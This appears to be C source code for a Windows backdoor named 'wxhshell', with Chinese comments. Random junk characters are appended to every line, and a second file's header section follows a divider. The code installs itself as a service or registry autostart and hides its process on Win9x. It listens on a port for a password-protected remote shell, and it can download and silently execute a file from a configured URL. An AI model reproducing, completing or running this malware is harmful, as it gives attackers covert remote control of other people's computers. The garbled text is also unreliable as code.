ULONG InheritedFromUniqueProcessId; 37zBX~
} PROCESS_BASIC_INFORMATION; :,JaOn'
3Xu|hkK\e
PROCNTQSIP NtQueryInformationProcess; ~#3{5*
M
-[-oz0`Sl{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yqq1 a
o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ewk7:zS/?
vw2E$ya
HANDLE hProcess; .<`)`:n+B
PROCESS_BASIC_INFORMATION pbi; 5U475&
k9rws
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HD=F2p
if(NULL == hInst ) return 0; +zMPkbP6
hYkkr&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =Z:]%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mc@9ivwL#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JfN5#+_i
!t23
_b0
if (!NtQueryInformationProcess) return 0; ,]2?S5R
x'`{#bKD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gE2(E0H
if(!hProcess) return 0; cWkg.ri-x
1WMZ$vsQUb
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jDY
B*Y^F
Ol }5ry
CloseHandle(hProcess); V@`b7GM
j;-Wf6h{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dw <i)P^
if(hProcess==NULL) return 0; ~rBFP)
_
l`F}v
HMODULE hMod; OX;(Mg|
char procName[255]; _Rii19k
unsigned long cbNeeded; jy!]MAP#Gk
ES+CAwqf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pKc!sdC
_'!?fA
CloseHandle(hProcess); kuH%aM<R
QAV6{QShj
if(strstr(procName,"services")) return 1; // 以服务启动 2O=$[b3
jV sH
return 0; // 注册表启动 ]AY 4bm
} Ww-x+U\l
..8t1+S6]
// 主模块 #AGO~#aK
int StartWxhshell(LPSTR lpCmdLine) S!8<|WO^t
{ JU>~[yAP
SOCKET wsl; {zcG%b WJ
BOOL val=TRUE; Ep;uz5 ^8
int port=0; l[T-Ak
struct sockaddr_in door; )4ek!G]Rb
J -z.
if(wscfg.ws_autoins) Install(); ,H7_eVLWR
^@V*:n^
port=atoi(lpCmdLine); 1$T`j2s
!.j{vvQ/
if(port<=0) port=wscfg.ws_port; s1 >8uW
W/2y;@
WSADATA data; ]vQa~}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FFw(`[A_
+yO) 3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Wa^Wn +r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #'&-S@/nQs
door.sin_family = AF_INET; -w"I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); W]D YfR,
door.sin_port = htons(port); %>*?uO`z[
UJ}}H}{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R@3HlGuRKw
closesocket(wsl); Y5GN7.
return 1; $Lstq_x+
} ejV`W7U
YdCl
if(listen(wsl,2) == INVALID_SOCKET) { lu{
*]!
closesocket(wsl); j-1V,V=
return 1; ~%*l>GkP*
} U%@PY9#
Wxhshell(wsl); y ~
K8
WSACleanup(); mx}5":}
h~#F2#.
return 0; $=plAi
5>9Q<*
} U^7hw(}me
B1}i0pV,,
// 以NT服务方式启动 _E?tVx.6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) */K[B(G
{ rd->@s|4mT
DWORD status = 0; En&7 e
DWORD specificError = 0xfffffff; Hi[lN7ma8
q<E7qY+
serviceStatus.dwServiceType = SERVICE_WIN32; K7&]|^M9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HHx:s2G
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6h/!,j0:t_
serviceStatus.dwWin32ExitCode = 0; ^ZsIQ4 @`
serviceStatus.dwServiceSpecificExitCode = 0; F[\T'{
serviceStatus.dwCheckPoint = 0; t_Eivm-,B
serviceStatus.dwWaitHint = 0; C,W@C
c:K/0zY
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zdJPMNHg
if (hServiceStatusHandle==0) return; Nt8"6k_
\*CXXp`
status = GetLastError(); Q I";[
if (status!=NO_ERROR) wBpt
W2jA
{ ia\Gmh
serviceStatus.dwCurrentState = SERVICE_STOPPED; %t&Lq }e
serviceStatus.dwCheckPoint = 0; h:pgN,W}
serviceStatus.dwWaitHint = 0; PNAvT$0LaZ
serviceStatus.dwWin32ExitCode = status; rmw}Ui"
serviceStatus.dwServiceSpecificExitCode = specificError; 2Di~}* 9&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bsu?Q'q
return; e Fs5l
} l#cVQ_^"
Kc]cJ`P4.
serviceStatus.dwCurrentState = SERVICE_RUNNING; mdL T7
serviceStatus.dwCheckPoint = 0; DH.`
serviceStatus.dwWaitHint = 0; |E K6txRb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RbUir185Y
} +DSbr5"VlB
Qf0P"s`
// 处理NT服务事件,比如:启动、停止 w31O~Ve
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^kNVQJiZyG
{ LeN }Q
switch(fdwControl) TgV-U
{ ?5" >5 0
case SERVICE_CONTROL_STOP: 0i[t[_sce
serviceStatus.dwWin32ExitCode = 0; bP$e1I3`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7x`$ A
serviceStatus.dwCheckPoint = 0; eW.qMx#:od
serviceStatus.dwWaitHint = 0; z&!o1uq
{ _\4r~=`HQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _~Od G
} aEdMZ+P.
return; MkVv5C
case SERVICE_CONTROL_PAUSE: ^'Lp<YJs6
serviceStatus.dwCurrentState = SERVICE_PAUSED; FsUH/Y
y
break; P:6K
case SERVICE_CONTROL_CONTINUE: jR1^e$
serviceStatus.dwCurrentState = SERVICE_RUNNING; Nkb%4ofKqu
break; AIl`>ac
case SERVICE_CONTROL_INTERROGATE: TCzz]?G]la
break; 0 F8xS8vK+
}; kN 2mPD/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <*iFVjSI(
} hlyh8=Z6o
LGy62 y$
// 标准应用程序主函数 ~jKIuO/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TH4f"h+B3"
{ B_Wig2xH0
ShRMzU
// 获取操作系统版本 hK4ww"-
OsIsNt=GetOsVer(); =:T"naY(
GetModuleFileName(NULL,ExeFile,MAX_PATH); P `<TO
u@Gum|_=N
// 从命令行安装 J8FzQ2
if(strpbrk(lpCmdLine,"iI")) Install(); :6C R~p
oBai9 [+
// 下载执行文件 XH0{|#hwN
if(wscfg.ws_downexe) { d+P<ce2G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uF%N`e^S
WinExec(wscfg.ws_filenam,SW_HIDE); zhE4:g9v
} Fc=F2M o?
D3 +|Os)
if(!OsIsNt) { e+Mm!\;`
// 如果时win9x,隐藏进程并且设置为注册表启动 2:.$:wS
HideProc(); $m>( kd1
StartWxhshell(lpCmdLine); ]nV_K}!w
} jMWTNZ
else 6;Izw$X
if(StartFromService()) !U5Cwq
// 以服务方式启动
svo%NQ
StartServiceCtrlDispatcher(DispatchTable); h Q Att
else 1\-lAk!
// 普通方式启动 aG"
StartWxhshell(lpCmdLine); )jI4]6
.h
w(;
return 0; QncjSaEE
} tre`iCH~
/q]fG
B$=1@
ZWFOC,)b
=========================================== lh0G/8+C
t(,2x%{
/ORK9g
KPK`C0mg@k
%RIu'JXi
UGOe(JB
" 4`CO>Q
M(^IRI-
#include <stdio.h> F":dS-u&L
#include <string.h> 1:h(8%H@"
#include <windows.h> y}QqS/
#include <winsock2.h> M;-FW5O't
#include <winsvc.h> '+|uv7|+v
#include <urlmon.h> <+ <o
X"I
yh4%
#pragma comment (lib, "Ws2_32.lib") B aCzN;)
#pragma comment (lib, "urlmon.lib") 'wLW`GX.
z1e+Ob&
#define MAX_USER 100 // 最大客户端连接数 &@&^k$du8q
#define BUF_SOCK 200 // sock buffer u7wZPIC{_
#define KEY_BUFF 255 // 输入 buffer }
F*=+n
IxlPpS9Wx
#define REBOOT 0 // 重启 huin?,eGz
#define SHUTDOWN 1 // 关机 2JHF*zvO-
Y^?PHz'Go
#define DEF_PORT 5000 // 监听端口 78mJ3/?rC
FP6JfI8
#define REG_LEN 16 // 注册表键长度 fb]=MoiJ
#define SVC_LEN 80 // NT服务名长度 7z&^i-l.
\Zk<|T61$
// 从dll定义API ^^Q>AfTR.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K8iQ?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n<[H!4
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WdrMp
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B8-Y)u1G
MIv,$
// wxhshell配置信息
2IDn4<`
struct WSCFG { 6`'K M/
int ws_port; // 监听端口 kdm@1x
char ws_passstr[REG_LEN]; // 口令 7sJGB^vM
int ws_autoins; // 安装标记, 1=yes 0=no n{F&GE="
char ws_regname[REG_LEN]; // 注册表键名 ^[ >
char ws_svcname[REG_LEN]; // 服务名 0?g&